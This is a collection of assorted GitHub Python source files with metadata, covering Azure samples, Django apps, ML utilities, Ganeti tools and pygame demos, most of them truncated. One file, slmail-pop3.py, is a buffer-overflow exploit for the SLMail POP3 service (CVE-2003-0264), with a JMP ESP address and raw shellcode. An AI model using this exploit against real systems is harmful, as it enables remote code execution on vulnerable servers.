70044d57fced0a79461899cfe23e9212aef8c5de | 1dafc27c7f754f936135ef8614ab291854034022 | /samples/compute/disable_manage_disk_encryption_set.py | 2d93c612d3dc60bada457e5fdc07c1f45c83cea8 | [
"MIT"
] | permissive | ArunAyyagari/azure-samples-python-management | 6f329b35e71939a5539e164e55097a15c6d7dea6 | cfe187ce49aad35d84d0a61ba6d3ef156095ff0c | refs/heads/master | 2022-08-29T03:10:47.894017 | 2020-05-25T02:32:18 | 2020-05-25T02:32:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,563 | py | # --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
import os... | [
"sunkaihuisos@gmail.com"
] | sunkaihuisos@gmail.com |
5260c2df4a64f3a54d8b18ae12abc281fe8a4af7 | 06d09ea58ce1cfc0501ed598dbecda4273597567 | /HMM/process_finally.py | 601d32af19718cde39116fa35d48b669077234a8 | [] | no_license | SunflowerAries/Pinyin-to-Character | 0c0abdbf7cc07d902f43ad9c3b8103e887a483e2 | 363faaf1b3f3fb3addce11f2b3d4bc9af62f588f | refs/heads/master | 2020-11-30T08:28:48.738699 | 2020-01-12T14:20:05 | 2020-01-12T14:20:05 | 230,356,429 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,914 | py | # coding: utf-8
import json, codecs
BASE_START_FILE = 'data/base_start.json'
BASE_EMISSION_FILE = 'data/base_emission.json'
BASE_TRANSITION_FILE = 'data/base_transition.json'
ALL_STATES_FILE = 'data/all_states.txt' # 所有的字
ALL_OBSERVATIONS_FILE = 'data/all_observations.txt' # 所有的拼音
PY2HZ_FILE ... | [
"17307130191@fudan.edu.cn"
] | 17307130191@fudan.edu.cn |
2e123c89f8d30f43907e5e3da0590091363d41cd | aded26493d24aa5d902498f4c8406a68993f9eca | /model.py | ebc06ba10c1988c0ff3d9dd65e81c124fdafa128 | [] | no_license | vampiirre/territorial-conflict | e88c7dbb07e8336d4c3c8e771e27918eda447b1e | 5c107291f515e5856a3e19b024893148ae34acec | refs/heads/master | 2020-05-27T16:02:37.596300 | 2020-05-19T15:17:56 | 2020-05-19T15:17:56 | 188,692,020 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 115,594 | py | import matplotlib.pyplot as plt
import numpy as np
import matplotlib as mpl
import matplotlib.dates as mdates
import datetime as dt
import csv
import matplotlib.animation
from matplotlib import cm
from scipy.io import loadmat
import pandas as pd
import sys
import tqdm
from tqdm import tqdm_notebook
import pickle
import... | [
"noreply@github.com"
] | vampiirre.noreply@github.com |
53d12f540c00edd4490afc63f713584360966ba7 | cec21b1d674aaf7d62d7730e637229577a2e27e2 | /First_WebApp/counter.py | bb45d5e811601fba683b7e124370451ce0b1addd | [] | no_license | arpitntripathi/first_WebApp | 50028c0d792581f3c0639d07333d087035503e22 | 584095a61476bbc8c82d92e95526fa4008c788de | refs/heads/master | 2022-12-23T23:52:01.117763 | 2020-09-12T20:34:29 | 2020-09-12T20:34:29 | 254,751,588 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 365 | py | import operator
def count(article):
words = article.split()
word_count = len(words)
dict_words = {}
for word in words:
if word in dict_words:
dict_words[word] += 1
else:
dict_words[word] = 1
var_dict = sorted(dict_words.items(), key=operator.itemgetter(1), r... | [
"arpitnathtripathi@gmail.com"
] | arpitnathtripathi@gmail.com |
288a244c7b7b0c75beeca7844880dcf05b568272 | ab41cbae15cbbaac52ec7db5da568b337d232bf6 | /lib/tools/ssh_update.py | f9d1b6db3f56e7fcd50aa5b66a06fbe27614fb08 | [
"BSD-2-Clause"
] | permissive | skycover/ganeti-2.15.2 | 9d6eef72cd1c7942c7b293c4bcc4c0b62f880e9f | db69c3917c1ae00f31943c52c147c7938ce64d9c | refs/heads/master | 2021-01-24T13:24:02.294516 | 2018-02-27T18:52:36 | 2018-02-27T18:52:36 | 123,173,553 | 0 | 0 | null | 2018-02-27T18:53:46 | 2018-02-27T18:53:46 | null | UTF-8 | Python | false | false | 7,218 | py | #
#
# Copyright (C) 2014 Google Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and ... | [
"vs@ipatov.net"
] | vs@ipatov.net |
48d78e65acb643608b7d9a129ff13c6c9954b465 | c15a50057951317728f4eaa1854904b53161c19e | /FM_FTRL/ftrl_utils/params.py | 1b77ef869aa96fceab4d0c0f42338693acfd1c7b | [] | no_license | marvinxu-free/talking_data | 8ca3ecab5ed5585fd0db46cebd27148e71495d2a | 1549fe13dc9489255c3c87dd6c13a65a1176ea07 | refs/heads/master | 2020-03-16T05:41:15.437712 | 2018-05-10T02:56:27 | 2018-05-10T02:56:27 | 132,538,041 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 666 | py | # -*- coding: utf-8 -*-
# Project: ml_more_algorithm
# Author: chaoxu create this file
# Time: 2018/4/16
# Company : Maxent
# Email: chao.xu@maxent-inc.com
import os
module_path = os.path.split(os.path.realpath(__file__))[0]
Data_path = os.path.realpath("{0}/../../input".format(module_path))
train_file = '{0}/train_n... | [
"chao.xu@maxent-inc.com"
] | chao.xu@maxent-inc.com |
9eedcc25d03a6a9bc42984a3f718564309407905 | 48b50c0b525956fa2267b00021d52ca5ef715e81 | /02-notifon/scale-up.py | 061c708974183ea6f322a4a2c16cd5a2363eb13f | [] | no_license | cashpole/automating-aws-with-python | 2bcdb97fa4d7768a1a4ac581b16935262a20b27c | fb6bcf6da93f80fbd11944be080e7a34da993f3d | refs/heads/master | 2022-12-08T20:09:59.514534 | 2019-07-01T19:18:07 | 2019-07-01T19:18:07 | 186,532,329 | 0 | 0 | null | 2022-09-08T08:22:31 | 2019-05-14T02:47:02 | Python | UTF-8 | Python | false | false | 224 | py | # coding: utf-8
import boto3
session = boto3.Session(profile_name='pythonAutomation')
as_client = session.client('autoscaling')
as_client.execute_policy(AutoScalingGroupName='Notifon Example Group', PolicyName='Scale Up')
| [
"cashpole@hotmail.com"
] | cashpole@hotmail.com |
f5a22a136e56bae2893f9a941bb1b6af17239b3a | 17c266cef1c620d729cb8a9e3d9f47ce389c8c8f | /createclass.py | 5021f3d1d2e81f759b077fa10c3f8fa9e62f953d | [] | no_license | mubasil/flavortown | 2cdc66492dfb46bbb78b8d42ff8a5b489db7a9a3 | 68b4ec2179782916fba0aa204255a75bba459b53 | refs/heads/rory | 2021-01-21T12:11:48.035094 | 2017-11-30T23:22:34 | 2017-11-30T23:22:34 | 102,047,698 | 0 | 2 | null | 2017-11-30T23:23:23 | 2017-08-31T21:39:02 | JavaScript | UTF-8 | Python | false | false | 745 | py | import csv
import json
import os
classifiers = []
recipeClasses = ["Asian", "Mexican", "Italian"]
for recipeClass in recipeClasses:
directory = os.path.join(os.getcwd(), recipeClass)
for filename in os.listdir(directory):
with open(os.path.join(directory, filename)) as fileinfo:
data =... | [
"mubasil@yahoo.com"
] | mubasil@yahoo.com |
df7f090efeff95de6885e079eb45d56b1f1a4a2d | 1a8d1f8c16fb2842a0b0f71b7860f0bff8e6d257 | /car_report/__manifest__.py | 02c686e7de5aa9cc9cb002abd93c5923d5e67add | [] | no_license | vidtsin/odoo-leasing | 85a288e4d47697591397b892cb65d911987aa991 | 5fd7a2fe23ae47d992bc03a9e474c08363c78b9e | refs/heads/master | 2020-08-03T04:37:39.587593 | 2019-07-28T14:25:14 | 2019-07-28T14:25:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 738 | py | # -*- coding: utf-8 -*-
{
'name': 'Car Report',
'version': '0.1',
'summary': 'Show car reports',
'sequence': 30,
'description': """
car
====================
The specific and easy-to-use car system in Odoo allows you to keep track of your vehicle.
""",
'category': 'car',
'website': '',
... | [
"cedvict@gmail.com"
] | cedvict@gmail.com |
4b18b019b2ff1da71c7219f94ea175182cf795a4 | bd14632342076a8099dbbd51c1b0c71bc8352b6a | /main.py | 85a29f77583d8b29671e15d3c458dd515102c514 | [
"MIT"
] | permissive | nlehuen/led_display | 511fbb3f2d0260d4ae60f3a2e6a99d366d927281 | 6f77ac919f9f3d3972646a6f26907fefb79a3be2 | refs/heads/master | 2021-01-22T02:48:00.386193 | 2013-09-19T08:02:41 | 2013-09-19T08:02:41 | 5,821,282 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,604 | py | # -*- coding: utf-8 -*-
import time
import traceback
import json
from configuration import Configuration
import animator
import animations
import importlib
# Try to load Twitter animations
try:
import animations.tweet
except ImportError:
print "Please install twitter module from http://pypi.python.org/pypi/... | [
"nlehuen@google.com"
] | nlehuen@google.com |
76401ac4e722d051809095cd5b95aa29888ec01d | 8485ac621de45db5db3a1faf248690650d951258 | /tracker.py | d39f4122960155450e4719a98a2d22a93bca568b | [] | no_license | gerardo8al/portfolio_tracker | 610e538dfc315c870a6838d8ea68bf3766e8b838 | 5c27e71c00f1d729484afd6b8366b069c98246a4 | refs/heads/master | 2020-03-12T17:30:26.253308 | 2018-04-24T20:21:00 | 2018-04-24T20:21:00 | 130,737,666 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 700 | py | from constants import *
import csv
import urllib.request
import json
def send_get_request(url):
response = urllib.request.urlopen(url)
json_back = response.read()
json_back = json.loads(json_back.decode('utf-8'))
#json_pretty_print(json_back)
return json_back
def json_pretty_print(parsed):
pri... | [
"gerardo8a@gmail.com"
] | gerardo8a@gmail.com |
b0514a0533d844c12afb5368772ef5d43d163ea9 | 490ac0cbeb1436a642d236381b277b07a86aff2a | /blog/migrations/0001_initial.py | 19f8b37b13b8007b355b1319c3edd370ddfaf805 | [] | no_license | Marshall210/My_site | 8f445ce073d75a6b3675c7876288ef6627b3859d | 8130394070c382af510e2912772b0c9e830e619c | refs/heads/master | 2020-07-21T11:08:50.900237 | 2019-09-22T14:12:17 | 2019-09-22T14:12:17 | 206,843,651 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 986 | py | # Generated by Django 2.2.5 on 2019-09-20 18:21
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUT... | [
"tymchenko99978@gmail.com"
] | tymchenko99978@gmail.com |
3144ecf342e1c38eb5c4bcf21135c183e9157eee | f576f0ea3725d54bd2551883901b25b863fe6688 | /sdk/datashare/azure-mgmt-datashare/generated_samples/provider_share_subscriptions_adjust.py | 496c049f7baa29e25e02b0ee6f7ed8ffa89deaa0 | [
"LicenseRef-scancode-generic-cla",
"MIT",
"LGPL-2.1-or-later"
] | permissive | Azure/azure-sdk-for-python | 02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c | c2ca191e736bb06bfbbbc9493e8325763ba990bb | refs/heads/main | 2023-09-06T09:30:13.135012 | 2023-09-06T01:08:06 | 2023-09-06T01:08:06 | 4,127,088 | 4,046 | 2,755 | MIT | 2023-09-14T21:48:49 | 2012-04-24T16:46:12 | Python | UTF-8 | Python | false | false | 1,824 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"noreply@github.com"
] | Azure.noreply@github.com |
f2364a1f5e0049d916164fd82672d551cdfff20d | 436568fbadd6f52fb5388136a67eef75d86bc6a7 | /Python3_Mundo2_Introdução ao Mundo 2/Python3_Mundo2_Aula15_Interrompendo repetições while/Desafio068.py | f36c743d48b38c87c1b3a887d28b18324ddafa96 | [
"MIT"
] | permissive | AgladeJesus/python | 3c72cddaf4e3c92464b5cee7975bd56a764b5f5c | 16e4e5cc43aa987858a4719748708d6d5327d75d | refs/heads/master | 2023-08-31T08:34:17.069874 | 2021-09-08T08:45:05 | 2021-09-08T08:45:05 | 377,415,579 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 944 | py | from random import randint
print('Olá, caro jogador, sou o computador, e quero dispultar com você no Impar/Par.')
v = 0
while True:
jogador = int(input('Digita um número de 1 a 10: '))
cp = randint(0, 10)
total = jogador + cp
tipo = ' '
while tipo not in 'PI':
tipo = str(input('Par ou ìmpar... | [
"agladejesus@gmail.com"
] | agladejesus@gmail.com |
21b5c899a32d5a276c1913f41db7bb2bdd4114a1 | f4b2f6f8c82ba00a79712292cae159edd6e93316 | /python_voc_parser/__init__.py | e8b5a4dd78a5f1211bf1167cf90337dde6e4acf9 | [
"MIT"
] | permissive | gabrielrezzonico/python_voc_parser | 31e5d016cce8a77e3cbd302f34f677ba1ca934c1 | dd645402e40d3e18a33375f0fe92201013343110 | refs/heads/master | 2021-01-19T11:17:56.598529 | 2017-04-12T19:10:53 | 2017-04-12T19:10:53 | 87,950,887 | 7 | 4 | null | null | null | null | UTF-8 | Python | false | false | 163 | py | """Utilities"""
from . import helpers
from . import voc_annotations_parser
# Globally-importable utils.
from .voc_annotations_parser import VocAnnotationsParser
| [
"gabrielrezzonico@gmail.com"
] | gabrielrezzonico@gmail.com |
4a1dff1fff68c27fb3452129c56f54a62957e1cf | 716c453110217e4b478823940b6ce773fe837b3b | /BlogProject/school_project/users/forms.py | a8b4b32dc1500efcd07e0eadc0894aef874ace31 | [] | no_license | Mateaus/blog_site | e9a46ac581a65c2b563ff18090480f775a5ad9cf | 305bafbd18c2a260589da77d8e162fb36994357b | refs/heads/master | 2020-05-07T11:59:47.008936 | 2019-04-11T17:42:58 | 2019-04-11T17:42:58 | 180,485,036 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 652 | py | from django import forms
from django.contrib.auth.models import User
from django.contrib.auth.forms import UserCreationForm
from .models import Profile
# changing form to include email field
class UserRegisterForm(UserCreationForm):
email = forms.EmailField()
class Meta:
model = User
... | [
"noreply@github.com"
] | Mateaus.noreply@github.com |
8b8c7653fa04c56d1f7f07d4dfa5f5737209c3b7 | c9a34a7036865101d05065fe47e86c8b173d0b93 | /test.py | fbe90e2d911fe9a2612c4329bca87b6036e73644 | [] | no_license | Pablocg0/Proyecto_ia | 7f4e810a5b3cffe586609527d4f2c1367c0ee096 | 5f8ffa56f5e4c7b8adbe098b81599fa7fddbb7ae | refs/heads/master | 2020-09-06T18:10:44.894310 | 2019-11-09T05:54:18 | 2019-11-09T05:54:18 | 220,504,872 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 157 | py | import pandas as pd
diccionario = pd.read_csv("dick_1.csv")
palabra = diccionario["a"].sample(n=10)
palabra.to_csv("dick.csv",encoding='utf-8',index=False)
| [
"pablocg064@gmail.com"
] | pablocg064@gmail.com |
29b750bb302001c9849c94b7e2eeb31a1216aadf | 25a4df7d63285564159a2c9d5b48a66e767c09f9 | /test_triangle.py | 1ce21821c7abd08bbac558ff344f2410fb0a0767 | [
"MIT"
] | permissive | philetus/superNormal | c82677c81359e92f33810660fa5aa45161004a71 | b6df64c2ef4838b8a2080fae0be57cfee40ccf7a | refs/heads/master | 2020-03-20T06:07:10.998229 | 2018-06-13T16:27:41 | 2018-06-13T16:42:02 | 137,239,304 | 0 | 0 | null | 2018-06-13T16:05:38 | 2018-06-13T16:05:38 | null | UTF-8 | Python | false | false | 1,406 | py | import glfw
import OpenGL.GL as gl
def main():
# Initialize the library
if not glfw.init():
return
# Create a windowed mode window and its OpenGL context
window = glfw.create_window(640, 480, "Hello World", None, None)
if not window:
glfw.terminate()
return
# Make t... | [
"cheeriocheng@gmail.com"
] | cheeriocheng@gmail.com |
f9911ba1ef369f850f1fe229f1de64f2c3a20c93 | d49fd2040235f30e5701a997b2afcc4b123b82f1 | /neighbourhood/views.py | 513fb809d73e570ef76ba59f7bf262d4e1235690 | [
"MIT"
] | permissive | ClintonClin/neighbourhood | 830b9bd0b7e27308b54fedb432877191e6a3585e | 509ba9702d67e5636aee9d754eaa41e57a52b61a | refs/heads/master | 2022-12-11T08:23:08.690787 | 2019-02-28T10:57:05 | 2019-02-28T10:57:05 | 165,234,843 | 0 | 0 | null | 2022-12-08T03:00:45 | 2019-01-11T11:43:06 | Python | UTF-8 | Python | false | false | 7,746 | py | from django.shortcuts import render, redirect
from django.http import HttpResponse, Http404, HttpResponseRedirect
from django.contrib.auth.decorators import login_required
from django.core.exceptions import ObjectDoesNotExist
from .models import neighbourhood, healthservices, Business, Health, Authorities, BlogPost, Pr... | [
"clintonclin00@gmail.com"
] | clintonclin00@gmail.com |
6b585b2fcc4e1b39e9ed6dbd006f975bf82030b4 | 0fe88e2bcf3015f6b54508b2304e9833bc7f7eb2 | /skadi/index/__init__.py | df5fab35467894641108704a015acd8e8ae77318 | [
"MIT"
] | permissive | gwvent/skadi | 3d73ba6efbc32065599d2e0773f4783342cf5482 | 0b5c983a0a17e57d70fb64b2401caba40d43679a | refs/heads/master | 2021-01-17T22:54:38.196692 | 2013-08-20T08:04:25 | 2013-08-20T08:04:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,355 | py | import math
VI_BIT_MAX = 35
VI_SHIFT = 7
VI_MAX_BYTES = int(math.ceil(float(VI_BIT_MAX) / VI_SHIFT))
VI_MASK = (1 << 32) - 1
class InvalidVarint(Exception):
pass
# Algorithm "borrowed" from Google protobuf library.
def peek_varint(stream):
peeked = stream.peek(VI_MAX_BYTES)
size, value, shift = 0, 0, 0
w... | [
"joshua.a.morris@gmail.com"
] | joshua.a.morris@gmail.com |
574e6816db82fec92e4c415548263fb7ef3a52d2 | ab149b8f1f20bf2212bead49fdf5bd6bf5330b89 | /model/encoder.py | f5b18c46738890812e0f004126797488274a0a76 | [
"MIT"
] | permissive | wheeltune/kid-neuro | 69ecf08717d82660cf0e6eccd406c0cad9f24f1e | 131ec888e4f0c3ee1d7b4c4ebf57a6b1d5323d8a | refs/heads/main | 2023-06-04T06:07:45.074418 | 2021-06-21T23:54:27 | 2021-06-21T23:54:27 | 375,545,888 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,559 | py | import torch.nn as nn
from .norm_layer import NormLayer
__all__ = ["KeystrokesEncoder"]
#===============================================================================
class KeystrokesEncoder(nn.Module):
#---------------------------------------------------------------------------
def __init__(self, d_code... | [
"wheeltune@gmail.com"
] | wheeltune@gmail.com |
cd6ab3e5c6e2b23fd99f849a3780802dacbeb28a | e9c119c3da03b4347456091cc439aaedb07a4bdf | /python work week 9 question 2.py | 576f46d5c72e8ca358a6752ef261406819195dd4 | [] | no_license | infinityman8/week9-12-logbook | da8b1e5942f36b006f3e6bfc0b713623d862f247 | 4de033f3fcb0b69984a1ba0f4a0a654c386c4ec1 | refs/heads/master | 2020-04-07T13:52:27.005786 | 2018-12-04T17:44:12 | 2018-12-04T17:44:12 | 158,425,236 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 144 | py | def main():
a=5
b=7
print(mystery(a,b))
def mystery(x,y):
z=x + y
z= z / 2.0
return z
main()
| [
"noreply@github.com"
] | infinityman8.noreply@github.com |
13319f9028ad09f1d990efba329a3d5162550bb6 | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/dev/cv/image_classification/CSPResNeXt-50_ID1888_for_PyTorch/timm/models/layers/separable_conv.py | 340f58362031b648a0361ac28d85bde369834876 | [
"LicenseRef-scancode-proprietary-license",
"LGPL-2.0-or-later",
"Apache-2.0",
"GPL-1.0-or-later",
"BSD-3-Clause",
"MIT",
"CC-BY-NC-4.0",
"BSD-2-Clause",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 4,530 | py | #
# BSD 3-Clause License
#
# Copyright (c) 2017 xxxx
# All rights reserved.
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain ... | [
"wangjiangben@huawei.com"
] | wangjiangben@huawei.com |
ce08b5951af442d5ac48612351d428e06a55e1e3 | 2ef93f98aef88475441e112223d127b583bc96ec | /tesla_ohlc.py | 91125a3b6ff6b4d4e6ad12ce6a156a620543b75f | [] | no_license | bluesealin/Machine-Learning | ba6d54ef82879f0cf5f3ef58a7bb9941d15e0e94 | cc637c8901c384e70b7b1decac66ec4d245075c5 | refs/heads/master | 2021-05-03T07:42:55.966116 | 2018-01-17T17:41:05 | 2018-01-17T17:41:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,573 | py | import datetime as dt
import matplotlib.pyplot as plt
from matplotlib import style
from matplotlib.finance import candlestick_ohlc
import matplotlib.dates as mdates
import pandas as pd
import pandas_datareader.data as web
style.use('ggplot')
# creating the csv file
#start = dt.datetime(2000, 1, 1)
#end = dt.datetime... | [
"lucasdraichi@gmail.com"
] | lucasdraichi@gmail.com |
94661a6524510a11b67815c32e25b75865809f16 | ff8f1bb7be35166965ca624681f5a522b60de306 | /medical/migrations/0011_hivemedicalrecords_user.py | d96926b9bc913bd8a627d1877f0c5b6cac1215d9 | [] | no_license | jonathanw82/thehoneycombAM | 8f6b2e43d7c429b8dd1c4655e7212d4a5c9f7303 | 5a20efd9dcc6f81d1773c01c218a92732a815903 | refs/heads/master | 2023-04-10T06:33:48.462700 | 2021-04-12T11:40:56 | 2021-04-12T11:40:56 | 294,968,786 | 1 | 1 | null | 2021-02-16T14:25:58 | 2020-09-12T15:16:27 | JavaScript | UTF-8 | Python | false | false | 521 | py | # Generated by Django 3.1.3 on 2021-01-21 16:51
import django.contrib.auth.models
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('medical', '0010_auto_20210112_1633'),
]
operations = [
migrations.AddField(
model_name='hiveme... | [
"jonwhewaycode@outlook.com"
] | jonwhewaycode@outlook.com |
3459276818ce07479d8a250a648e51b33e116764 | c9ca065c2674ca30c12a90ceab88ac5798646473 | /weather/weather.py | 0911597edd9300a64cc9034898c72555e919512b | [] | no_license | mshazman/data_munging | beaa389ad3de48d52f1f2ef03ed4ba7f04c77698 | f4f815a896f8f7a6957ebbb22369dd760e95072e | refs/heads/master | 2020-07-23T17:03:01.970331 | 2019-09-10T19:07:20 | 2019-09-10T19:07:20 | 207,640,211 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 590 | py | """This Module have class to perform all calculation realted to weather"""
import calculation
class WeatherCalculation(calculation.Computation):
"""class object takes data in form of dictionary and apply functions on it"""
def __init__(self, weather_data):
self.weather_data = weather_data
def min... | [
"="
] | = |
dbce7481439b0de5401a7b81de4c4d300404aa6b | 6388104b646b304a081985216ad2f82f09db2af3 | /slmail-pop3.py | 67f374a5ffac594a45f6cfba7a7c22230d03e945 | [] | no_license | war4uthor/CVE-2003-0264 | 73bd207d3f989434be942982d344285633f6fc48 | 82352386a3e740db37f84ebbaed2632965c4c0a8 | refs/heads/master | 2020-04-12T12:41:00.763220 | 2018-12-19T22:50:30 | 2018-12-19T22:50:30 | 162,499,093 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,955 | py | #!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 5F4A358F FFE4 JMP ESP
shellcode = (
"\xb8\x9a\x26\x16\x98\xd9\xcd\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x52\x83\xea\xfc\x31\x42\x0e\x03\xd8\x28\xf4\x6d\x20\xdc\x7a"
"\x8d\xd8\x1d\x1b\x07\x3d\x2c\x1b\x73\x36\x1f\xab\xf7\... | [
"root@localhost.localdomain"
] | root@localhost.localdomain |
cb8e8814cc62f4c8391fcb723e8027d1860d330b | e8c16328e22b8ccda2e3d2998d2ec1689d79914b | /exercise_2017/5th_week/test_1.py | 0ea44957c76a9923802c513c58e5213bc91b5f64 | [
"MIT"
] | permissive | Taewan-P/python_study | e2e68cc0f1467832dace22e27cc70d217560cf2c | f347e370aaa33aba5ab233252bcd759b94615348 | refs/heads/master | 2021-05-11T03:44:04.495186 | 2018-01-18T03:02:31 | 2018-01-18T03:02:31 | 117,923,881 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 548 | py | def gcd1_2(m,n):
print("gcd1_2")
def loop(m, n, k):
print("gcd1_2, loop",m,n,k)
if not(m==0 or n==0):
if m%2==0 and n%2==0:
return loop(m//2,n//2,k*2) #오류 발생시 여기 확인!!(빈칸 있는 부분 k)
elif m%2==0 and n%2==1:
return loop(m//2,n,k)
elif m%2==1 and n%2==0:
return loop(m,n//2,k)
elif m<=n:... | [
"swimtw@naver.com"
] | swimtw@naver.com |
9e1bdaa9a0888f3ccb9eba4f462b36b5688e2936 | 2bf1ffde9ed692e27c34d23b67babd95f8f5644d | /tests/test_naming.py | 6fa54b180e6d20e00b54c2fda549cc654ac5e57b | [
"MIT"
] | permissive | pvrk/python_backup | 9dea3d657e619902aebbdcfc236b4eac9c302609 | d61af53490c791bac1226062af7744a69b335ce9 | refs/heads/master | 2022-03-21T06:25:11.638414 | 2019-12-17T17:50:25 | 2019-12-17T17:50:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,233 | py | # -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
# --------------------------------------------------------------------------
"""Unit tests for Naming."""
import unittest
from asebackupcli.naming im... | [
"chgeuer@microsoft.com"
] | chgeuer@microsoft.com |
523d338761f9c0eeceeea3dc1511eeec56a1d292 | 2cef2c608bde91a8e2deb4f88d62e164fce9a0e3 | /4 - sprites and animations/Codebeispiele/first_sprite.py | 493830ae10edf48a32b7a4e9df3906a845dee76f | [] | no_license | mimuc/mmp-ss21 | 3be6c67e1951f673e5a28d1c1fd44fe2dfe4cb47 | e20c5363b0ddf1866b7b7c044da7bb9a8330af20 | refs/heads/master | 2023-05-31T07:43:44.275815 | 2021-06-21T11:58:13 | 2021-06-21T11:58:13 | 355,538,628 | 5 | 5 | null | null | null | null | UTF-8 | Python | false | false | 652 | py | import pygame
from pygame.locals import *
class Box(pygame.sprite.Sprite):
def __init__(self, color, initial_position):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.Surface((20,20))
self.image.fill(color)
self.rect = self.image.get_rect()
self.rect.topleft = initi... | [
"florian.bemmann@ifi.lmu.de"
] | florian.bemmann@ifi.lmu.de |
eab2e26261a3cbc0a255243129e8e1698d3489e8 | 7f6e573bfe32c1085311a13c79f7c1e2d7a83f79 | /00977 - Squares of a Sorted Array/solutions.py | dcc18552d2afcdc3ec33bd0f108a38b8b4318d50 | [] | no_license | ngoyal16/LeetCode | 0b7366c566996422ca7b89c3b0540e494aab4e9f | 747b902224bd3ded576a67c926cc1fbb458a97d3 | refs/heads/master | 2022-12-10T08:34:19.590452 | 2022-12-07T08:28:05 | 2022-12-07T08:28:05 | 175,677,750 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 198 | py | class Solution(object):
def sortedSquares(self, A):
"""
:type A: List[int]
:rtype: List[int]
"""
return map(lambda x: x * x, sorted(A, key=abs))
| [
"noreply@github.com"
] | ngoyal16.noreply@github.com |
ff4ba646859730beeecd4cb569fbc5a89f48be03 | ce7bb5ba72569d1503a54551ce99bb45addd9d15 | /components/main window (1).py | c3e235727794891b14f8b40a59c1877b74f24f77 | [] | no_license | vic025/todo | 4fe620ace4704cacfba270494782a166bfd2aa5a | 56872e1de1ae12fd2c8c10ac3055737372ae3445 | refs/heads/master | 2023-07-01T17:58:23.010349 | 2021-08-06T23:06:37 | 2021-08-06T23:06:37 | 363,345,349 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,021 | py | # GUI of main window without functionality
import tkinter as tk
from tkinter.font import Font
from tkinter import *
from tkmacosx import Button, CircleButton
from PIL import Image, ImageTk
root = tk.Tk()
root.title('To-do List')
root.geometry('370x500+600+75')
root.resizable(False, False)
# Title (1)
# Font size and... | [
"v1q025@gmail.com"
] | v1q025@gmail.com |
bff704cfdcc8f2836f96e353d4860b781fb0d8a3 | 3793afb30d9e4ec39a75b2e5618cd6a2eaed0737 | /portal system/synapse/synapse/rest/key/v1/server_key_resource.py | 6df46969c4548ae5037bf6630d13f802cdf3c600 | [
"Apache-2.0"
] | permissive | rubyspiderman/chatsystem_reactjs | 16a49a2026b70d0556105b02248362bbbfbfc1f9 | a20edf38b83fe8c2ee36c2a7f3e1f7263dd134e1 | refs/heads/master | 2021-01-01T05:18:08.870728 | 2016-05-13T08:33:59 | 2016-05-13T08:33:59 | 58,717,217 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,996 | py | # -*- coding: utf-8 -*-
# Copyright 2014, 2015 OpenMarket Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"rubyspiderman@hotmail.com"
] | rubyspiderman@hotmail.com |
